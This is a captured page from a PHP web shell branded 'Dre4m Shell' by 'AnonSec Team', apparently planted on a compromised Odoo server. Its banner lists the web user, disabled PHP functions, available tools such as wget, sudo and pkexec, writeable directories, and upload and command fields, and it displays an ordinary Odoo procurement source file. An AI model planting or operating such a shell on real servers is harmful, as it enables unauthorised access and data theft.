Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 52.14.133.33
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/stock_calendar/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/stock_calendar/models/procurement.py
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.

from datetime import datetime

from odoo import api, fields, models
from odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT


class ProcurementOrder(models.Model):
    _inherit = 'procurement.order'

    next_delivery_date = fields.Datetime('Next Delivery Date', help="The date of the next delivery for this procurement group, when this group is on the purchase calendar of the orderpoint")
    next_purchase_date = fields.Datetime('Next Purchase Date', help="The date the next purchase order should be sent to the vendor")

    @api.multi
    def assign_group_date(self):
        Orderpoint = self.env["stock.warehouse.orderpoint"]
        for procurement in self:
            orderpoint = Orderpoint.search([
                ('location_id', '=', procurement.location_id.id),
                ('product_id', '=', procurement.product_id.id)], limit=1)
            if orderpoint:
                date_planned = fields.Datetime.from_string(procurement.date_planned)
                purchase_date, delivery_date = orderpoint._get_previous_dates(date_planned)
                if purchase_date and delivery_date:
                    procurement.write({
                        'next_delivery_date': delivery_date.strftime(DEFAULT_SERVER_DATETIME_FORMAT),
                        'next_purchase_date': purchase_date.strftime(DEFAULT_SERVER_DATETIME_FORMAT)})

    def _get_purchase_order_date(self, schedule_date):
        if self.next_purchase_date:
            return fields.Datetime.from_string(self.next_purchase_date)
        return super(ProcurementOrder, self)._get_purchase_order_date(schedule_date)

    def _get_purchase_schedule_date(self):
        if self.next_delivery_date:
            return datetime.strptime(self.next_delivery_date, DEFAULT_SERVER_DATETIME_FORMAT)
        return super(ProcurementOrder, self)._get_purchase_schedule_date()

    def _prepare_purchase_order_line(self, po, supplier):
        res = super(ProcurementOrder, self)._prepare_purchase_order_line(po, supplier)
        if self.next_delivery_date:
            res.update({'date_planned': self.next_delivery_date})
        return res

    def _procurement_from_orderpoint_get_order(self):
        return 'location_id, purchase_calendar_id, calendar_id'

    def _procurement_from_orderpoint_get_grouping_key(self, orderpoint_ids):
        orderpoint = self.env['stock.warehouse.orderpoint'].browse(orderpoint_ids[0])
        return (orderpoint.location_id.id, orderpoint.purchase_calendar_id.id, orderpoint.calendar_id.id)

    def _procurement_from_orderpoint_get_groups(self, orderpoint_ids):
        orderpoint = self.env['stock.warehouse.orderpoint'].browse(orderpoint_ids[0])
        res_groups = []
        date_groups = orderpoint._get_group()
        for date, group in date_groups:
            if orderpoint.calendar_id and orderpoint.calendar_id.attendance_ids:
                date1, date2 = orderpoint._get_next_dates(date, group)
                res_groups += [{'to_date': date2, 'procurement_values': {'group': group, 'date': date1, 'purchase_date': date}}]  # date1/date2 as deliveries and date as purchase confirmation date
            else:
                res_groups += [{'to_date': False, 'procurement_values': {'group': group, 'date': date, 'purchase_date': date}}]
        return res_groups

    def _procurement_from_orderpoint_post_process(self, orderpoint_ids):
        self.env['stock.warehouse.orderpoint'].browse(orderpoint_ids).write({
            'last_execution_date': datetime.utcnow().strftime(DEFAULT_SERVER_DATETIME_FORMAT)})
        return super(ProcurementOrder, self)._procurement_from_orderpoint_post_process(orderpoint_ids)

Anon7 - 2022
AnonSec Team